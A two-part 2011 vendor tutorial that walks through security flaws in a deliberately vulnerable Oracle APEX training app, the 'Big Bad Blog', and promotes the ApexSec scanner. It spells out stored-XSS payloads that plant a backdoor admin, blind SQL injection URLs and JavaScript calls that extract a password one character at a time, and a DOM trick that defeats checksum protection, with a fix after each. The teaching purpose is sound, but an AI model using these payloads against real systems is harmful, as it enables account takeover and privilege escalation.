Friday, 14 October 2011

Securing Oracle Apex - Big Bad Blog - Part 2

Welcome back, this week we will be discussing another page of the Big Bad Blog. If you haven't read part 1 it might be a good idea to start there.

Just another reminder to ensure that you have downloaded the free version of ApexSec through the ApexSec Online Portal. If you want to try out the exploits then you should import the Big Bad Blog into a workspace and run it.

Page 12 - Manage Users

This week we will be discussing the 'Manage Users' page, it might seem as though we have skipped a few pages (we'll get back to those). Here at Recx we review a lot of applications for our clients, and this has to be absolutely the most common vulnerability that we find. So with that in mind we will continue...

Cross-Site Scripting - Report Display Type


When we sign into the Big Bad Blog with an administrator account we have the option to click on the 'Manage Users' tab. We are then shown a report page with a list of users. Administrators are shown in red and normal users blue.
Because the code in the report outputs HTML in the select statement to change the colour, the report column cannot be set to 'Escape Special Characters'. If we look at the code it appears that the developer has quite rightly escaped the values using htf.escape_sc.

However if we tell ApexSec to highlight the instance (by clicking on the down icon) it becomes apparent where the vulnerability is.

As we can see, the else clause in the case statement is at fault here, if the column isadmin is set to null the vulnerability will manifest itself. It just so happens that all new users that are created have the isadmin column in the database table set to null, this is a bug in the code but it serves us well here.

Note: This condition is made more serious in that an exploitable condition exists in a low security domain (normal user) that affects a higher domain (admin).


As the field sizes are quite small we will need to transfer our exploit code from another server, pastebin is excellent for this purpose. We will place our exploit payload there.

We then go to the 'Add User' page of the Big Bad Blog and add a username of <script src=""></script>. If you have created your own pastebin script then obviously use your own unique id.

A bug in the Big Bad Blog, results in the following message being displayed when the user is added.

The account has been created, and this error message can safely be ignored.

Exploit Trigger

When the administrator visits the 'Manage Users' page the exploit will run. We can sign in with the credentials username: admin password: admin and visit the 'Manage Users' page.

The exploit isn't very subtle as you can see the html, but it serves our purpose here. Sign out of the administrator account after waiting for about 5 seconds (do not refresh the page). Then return to the login screen by using the logout link at the top right of the page.

Now we are back at the login screen you can login with the newly created 'backdoor' administrator user, with a password of 'hi'.

Correcting the code

Simply escaping the username in the case statement by using htf.escape_sc ensures the vulnerability is corrected.

Note: Have you already corrected the code in the Big Bad Blog? Want to check your changes? Use our ApexSec Online Portal! Just re-export your fixed Big Bad Blog, upload it into the portal and use your free credits to access the report and ApexSec project file.


Getting the report columns correct can be quite tricky, just blindly setting the report column type to 'escape special characters' quickly breaks applications when double escaping occurs.

As can be seen from the example above under the right circumstances the effect of this can be devastating with privilege escalation being a common attack vector.

Only ApexSec can identify issues where the report column needs to be set to standard report column because of HTML constructs being passed from the underlying code.

If you want to discuss how to make your Oracle APEX applications secure, feel free to get in touch.

Follow us on twitter to be the first to hear about part 3.

Thursday, 6 October 2011

Securing Oracle Apex - Big Bad Blog - Part 1

Are you looking for part 2 ?

We have created the 'Big Bad Blog' based on common security problems that we have found in many of the applications that we have reviewed. This APEX 4.1 application is freely available to download. Import into your own workspace on or your own site (Do not use in shared workspace or sensitive systems). As we work through the security conditions and the appropriate fixes you should be able to identify various coding practices that are unsafe.

Followers of this series will have the opportunity to try out our ApexSec product and work through the examples to swiftly identify security problems within the application.

Before we start ensure that you have downloaded the free version of ApexSec by signing up for the ApexSec Portal and accessing the relevant version for your platform from the Security Console section. If you want to try out the exploits then you should have imported the Big Bad Blog into a workspace and run it.

Page 1 - Messages

This page is the core page of the Big Bad Blog. It is typical of the type of code which is a old and complicated, nobody dares to touch it and all changes have been bolted on in time. The entire page should be re-designed but there is no time, the biggest we have seen exceeded 150 lines of code.

Running ApexSec on this page reveals several security issues. This is quite typical for APEX code which has been coded in this manner. As our application is quite small and we have compacted a lot of vulnerabilities into it, these vulnerabilities might seem obvious to you. Imagine a large app with 60+ pages, how long would it take? This is where ApexSec's cost savings can be found.

SQL Injection - Cursor Open Statement

As this is considered the most serious of web based vulnerabilities we will cover these first. In ApexSec we will select the 'Cursor Open' SQL Injection entry on the tree. ApexSec will load offending SQL into the SQL viewer and enable you to move through the issues with the navigation buttons

ApexSec shows quite clearly where the problematic concatenation occurs, in this case the items P1_AUTHOR and P1_SHOW are unsafely concatenated onto SQL which is passed into the open for statement.


In this case by simply manipulating the URL, the injection can occur, this would lead to the compromise of a user's password.<your app id>:1:<your session id>::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'b')\

The request above, would display the blog entries if the guessed password character was correct. Then we can move through the password of the bob account by amending the substr statement. Paste these in immediately after the session id.

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'a')\

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'b')\

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,2,1) = 'a')\

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,3,1) = 'a')\

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,3,1) = 'b')\

The password is found to be 'bab' and the account is compromised.

Correcting the code

In this case the fix should be to apply the using clause to the open for to properly bind the variable (in this case it is slightly more tricky due to the dynamic nature of the query.

SQL Injection - Execute Immediate Statement

Examining the code in the delete_message page process reveals a very similar vulnerability with the execute immediate statement.

In this case it is the AJAX call that is vulnerable with a very similar concatenate error as with the open for vulnerability.


The easiest way to fire AJAX calls to APEX is to use the jquery interface. This can be done using the javascript console (in Firefox; Tools->Web Console, in chrome; Tools -> JavaScript Console)

The following JavaScript typed into the console will delete message 261 if the password begins with 'a'. The exploit is exactly the same as previously but with a slightly different attack vector.

var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1);
get.addParam('x01','<message id> AND EXISTS (select username from users where username = \'bob\' and substr(password,1,1) = \'a\')'); 
gReturn = get.get();
<app id> Should be set to the application id, <message id> should be retrieved from the HTML source of the page. Searching for "Alice Greeting" should reveal the following source (The message id is highlighted in red);

<B>Alice Greeting</B>
by <i>alice</i>
<a href="javascript:location.reload(true)" onClick="JavaScript:var get =
<app id>,'APPLICATION_PROCESS=like_message',1);get.addParam('x01','241');gReturn
= get.get();">Like</a>
<p>Hi, I am Alice a normal user that can create posts, my password is

So a similar sequence as before sould reveal the password one character at a time. Submit the following;

var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1);
get.addParam('x01','241 AND EXISTS (select username from users where
username = \'bob\' and substr(password,1,1) = \'a\')');
gReturn = get.get();

Reload the page, nothing happens (password does not begin with 'a'). Then:

var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1);
get.addParam('x01','241 AND EXISTS (select username from users where
username = \'bob\' and substr(password,1,1) = \'b\')');
gReturn = get.get();

Reload the page, the "Alice Greeting" message will be deleted. therefore the first character of the password is 'b'.

Correcting the code

Again it is a case of properly binding the variable into the execute immediate statement as follows.

Cross-Site Scripting

The first two instances of cross-site scripting are quite simple, outputting direct to the HTTP stream via htp.p calls without escaping is generally a bad idea.

Here the two variables title and author are pulled from the cursor and output directly, this leads to the vulnerability. If we forward to the third instance we can see a similar error but this time it is the result of a concatenation.

All three instances are exploitable but we will concentrate on the third instance.


Note: Some browsers may block this very simple XSS (notably chrome), code should not rely on the features of browsers to protect the site.

As we found the password for 'bob' earlier we might as well abuse this account. Login with username 'bob' and password 'bab'. To exploit this cross-site scripting vulnerability we need to change the full name using the My Details Tab in the Big Bad Blog.

Then when we 'like' a post in the blog the vulnerability will executed. This is an over simple example of an exploit but this is a blog about detection, not exploitation.

Correcting the code

Any variables that arrive from the database or from user input should be escaped using the htf.escape_sc function, this will ensure that any HTML tags and features are adequately escaped before outputting to the stream.

Page Access Protection

APEX provides protection against URL manipulation through Session State Protection where the URL is protected by a checksum, so the parameters cannot be modified. However, this should not be used to mitigate the underlying dangerous PL/SQL and SQL Injection issue. In fact, if we enabled SSP on this page the issue would still be exploitable by setting the P1_SHOW variable on any other page that did not have SSP enabled.

On the Messages page security settings we will set Page Access Protection to 'Arguments Must Have Checksum' and at the same time turn off the Autocomplete feature.

Item Protection

Using Item Protection on P1_SHOW and P1_AUTHOR will only protect these items from URL tampering. We will set the item protection to 'Checksum Required'.

Any attempts to manipulate these values from the URL as earlier in this tutorial will be correctly blocked by the APEX framework. However utilising the client side framework we can still submit the changes;


Using the JavaScript console, we can change the pull down combo box to be an input box in the browser, there are many ways to achieve the same effect.

a = document.getElementById('P1_SHOW');b = document.createElement('INPUT');b.setAttribute('type', 'text');b.setAttribute('size', '85'); =; =;a.parentNode.appendChild(b);a.parentNode.removeChild(a)

We can then submit the SQL injection as before. It is worth noting that all the security features of APEX are now fully activated, only the deep analysis engine of ApexSec will find the outstanding vulnerabilities in the code.

Public Page

ApexSec has no way of knowing if you intended to make the page public, usually there is only a handful of pages that are to be served to unauthenticated users. The Messages page should be public and this report item can be ignored.

Other Problems

There are logic problems that ApexSec will not find (and never will), these are logic flows where the application does not operate as intended.

One of these for example is the delete_message page process. The way that the process is coded means that any user can delete other users messages, this is clearly not the intention of the application.

The login username is displayed on posts, this would be highlighted in our security reviews. Once again an automated scan would not help here.

The passwords are kept in the clear in the database, this is clearly bad practice and cannot be detected currently by ApexSec.

Using ApexSec does not remove the requirement for a manual review. With the issues such as those documented above, eliminated by developers through use of ApexSec throughout the development lifecycle, the manual review effort can be more focused and cost effective.


Although the code we are showing can be easily discarded as "we wouldn't code like that" and "that's not how to do it", these are based on real world examples. Some APEX code is old and because "it just works" nobody has taken a fresh look at the security posture.

At Recx we perform manual security audits of APEX code, we have developed tools and techniques over the past 18 months which we consider to be currently unique in the world. ApexSec is the automation of a selection of these techniques. We do not profess to be APEX feature experts or Oracle experts; we have one single focus, security. We devote our time into securing APEX code via detection and analysis.

If your business runs APEX code in production systems, if you have had non-permanent staff coding in your code base then a code review will give you peace of mind that the code running on your servers at least meets your required security standard.